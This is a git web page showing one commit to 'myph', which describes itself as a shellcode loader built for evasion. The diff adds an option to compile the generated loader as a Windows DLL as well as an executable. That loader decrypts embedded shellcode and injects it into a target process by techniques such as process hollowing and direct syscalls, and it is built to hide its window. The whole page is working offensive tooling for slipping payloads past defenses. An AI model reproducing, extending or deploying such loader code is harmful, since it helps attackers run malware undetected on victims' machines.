myph.git


myph

~ shellcode loader for your evasion needs
git clone https://github.com/matro7sh/myph.git
log | files | refs | archive | README | LICENSE

commit 62359dec6baf1883aa7a4ef1244346cc405b152f
parent c158f4c230e10e01b57b4fd5049783c5e2c583bb
Author: Guillaume S <[email protected]>
Date: Mon, 13 Nov 2023 10:34:16 +0100

feat(cli): adding option to compile as dll (#8) * Update parser.go add condition to build as .dll * Add build type (executable or dll) * Resolve requested changes

Diffstat:
Mcli/defaults.go | 1+
Mcli/parser.go | 34++++++++++++++++++++++++++++------
Mcli/types.go | 3+++
Mtools/utils.go | 19++++++++++++++-----

4 files changed, 46 insertions(+), 11 deletions(-)

diff --git a/cli/defaults.go b/cli/defaults.go
@@ -18,6 +18,7 @@ func GetDefaultCLIOptions() Options {
 		SleepTime:       0,
 		PEFilePath:      "payload.exe",
 		VersionFilePath: "goversion.json",
+		BuildType:       "exe",
 	}
 
 	return opts
diff --git a/cli/parser.go b/cli/parser.go
@@ -14,7 +14,7 @@ import (
 )
 
 const MYPH_TMP_DIR = "/tmp/myph-out"
-const MYPH_TMP_WITH_PAYLOAD = "/tmp/myph-out/payload.exe"
+const MYPH_TMP_WITH_PAYLOAD = "/tmp/myph-out/payload."
 
 const ASCII_ART = `
               ...                                        -==[ M Y P H ]==-
@@ -42,6 +42,25 @@ const ASCII_ART = `
 
     `
 
+func BuildLoader(opts *Options) *exec.Cmd {
+	if opts.BuildType == "dll" {
+		os.Setenv("GOOS", opts.OS)
+		os.Setenv("GOARCH", opts.Arch)
+		os.Setenv("CGO_ENABLED", "1")
+		os.Setenv("CC", "x86_64-w64-mingw32-gcc")
+		fmt.Println("[*] Compiling payload as dll...")
+
+		return exec.Command("go", "build", "-buildmode=c-shared", "-ldflags", "-s -w -H=windowsgui", "-o", "payload.dll", ".")
+	} else if opts.BuildType == "exe" {
+		fmt.Println("[*] Compiling payload as executable...")
+
+		return exec.Command("go", "build", "-ldflags", "-s -w -H=windowsgui", "-o", "payload.exe", ".")
+	} else {
+		fmt.Printf("[!] Buildtype format not supported!")
+		return nil
+	}
+}
+
 func GetParser(opts *Options) *cobra.Command {
 
 	version := "1.2.0"
@@ -216,15 +235,13 @@ func GetParser(opts *Options) *cobra.Command {
 					encodedKey,
 					encodedShellcode,
 					opts.SleepTime,
+					opts.BuildType == "dll",
 				),
 			)
 			if err != nil {
 				panic(err)
 			}
 
-			os.Setenv("GOOS", opts.OS)
-			os.Setenv("GOARCH", opts.Arch)
-
 			templateFunc := loaders.SelectTemplate(opts.Technique)
 			if templateFunc == nil {
 				fmt.Printf("[!] Could not find a technique for this method: %s\n", opts.Technique)
@@ -237,7 +254,7 @@ func GetParser(opts *Options) *cobra.Command {
 			}
 
 			fmt.Printf("\n[+] Template (%s) written to tmp directory. Compiling...\n", opts.Technique)
-			execCmd := exec.Command("go", "build", "-ldflags", "-s -w -H=windowsgui", "-o", "payload.exe", ".")
+			execCmd := BuildLoader(opts)
 			execCmd.Dir = MYPH_TMP_DIR
 
 			_, stderr := execCmd.Output()
@@ -256,7 +273,11 @@ func GetParser(opts *Options) *cobra.Command {
 				os.Exit(1)
 			}
 
-			tools.MoveFile(MYPH_TMP_WITH_PAYLOAD, opts.OutName)
+			format := "exe"
+			if opts.BuildType == "dll" {
+				format = "dll"
+			}
+			tools.MoveFile(MYPH_TMP_WITH_PAYLOAD+format, opts.OutName+"."+format)
 			os.RemoveAll(MYPH_TMP_DIR)
 
 			fmt.Printf("[+] Done! Compiled payload: %s\n", opts.OutName)
@@ -272,6 +293,7 @@ func GetParser(opts *Options) *cobra.Command {
 	rootCmd.Flags().StringVarP(&opts.ShellcodePath, "shellcode", "s", defaults.ShellcodePath, "shellcode path")
 	rootCmd.Flags().StringVarP(&opts.Target, "process", "p", defaults.Target, "target process to inject shellcode to")
 	rootCmd.Flags().StringVarP(&opts.Technique, "technique", "t", defaults.Technique, "shellcode-loading technique (allowed: CRT, CRTx, CreateFiber, ProcessHollowing, CreateThread, Syscall, Etwp)")
+	rootCmd.Flags().StringVarP(&opts.BuildType, "builtype", "b", defaults.BuildType, "define the output type (allowed: exe, dll)")
 	rootCmd.Flags().VarP(&opts.Encryption, "encryption", "e", "encryption method. (allowed: AES, chacha20, XOR, blowfish)")
 	rootCmd.Flags().StringVarP(&opts.Key, "key", "k", "", "encryption key, auto-generated if empty. (if used by --encryption)")
 	rootCmd.Flags().UintVarP(&opts.SleepTime, "sleep-time", "", defaults.SleepTime, "sleep time in seconds before executing loader (default: 0)")
diff --git a/cli/types.go b/cli/types.go
@@ -99,4 +99,7 @@ type Options struct {
 
 	// PE filepath
 	PEFilePath string
+
+	// Build type
+	BuildType string
 }
diff --git a/tools/utils.go b/tools/utils.go
@@ -132,6 +132,7 @@ func GetMainTemplate(
 	key string,
 	sc string,
 	sleepTime uint,
+	shouldExport bool,
 ) string {
 
 	/* if hex encoding is used, it does not require to go through StdEncoding */
@@ -139,7 +140,15 @@ func GetMainTemplate(
 	if encoding == "hex" {
 		encCall = "enc"
 	}
-
+	exportImpStr := `import "C"`
+	exportexpStr := `
+func main() {}
+//export entry
+func entry() {`
+	if !shouldExport {
+		exportImpStr = ""
+		exportexpStr = "func main() {"
+	}
 	return fmt.Sprintf(`
 package main
 
@@ -147,12 +156,12 @@ import (
     "time"
     "os"
     enc "encoding/%s"
+	"fmt"
 )
-
+%s
 var Key = %s
 var Code = %s
-
-func main() {
+%s
 
     decodedSc, _ := %s.DecodeString(Code)
     decodedKey, _ := %s.DecodeString(Key)
@@ -165,5 +174,5 @@ func main() {
     time.Sleep(%d * time.Second)
     ExecuteOrderSixtySix(decrypted)
 }
-    `, encoding, key, sc, encCall, encCall, sleepTime)
+    `, encoding, exportImpStr, key, sc, exportexpStr, encCall, encCall, sleepTime)
 }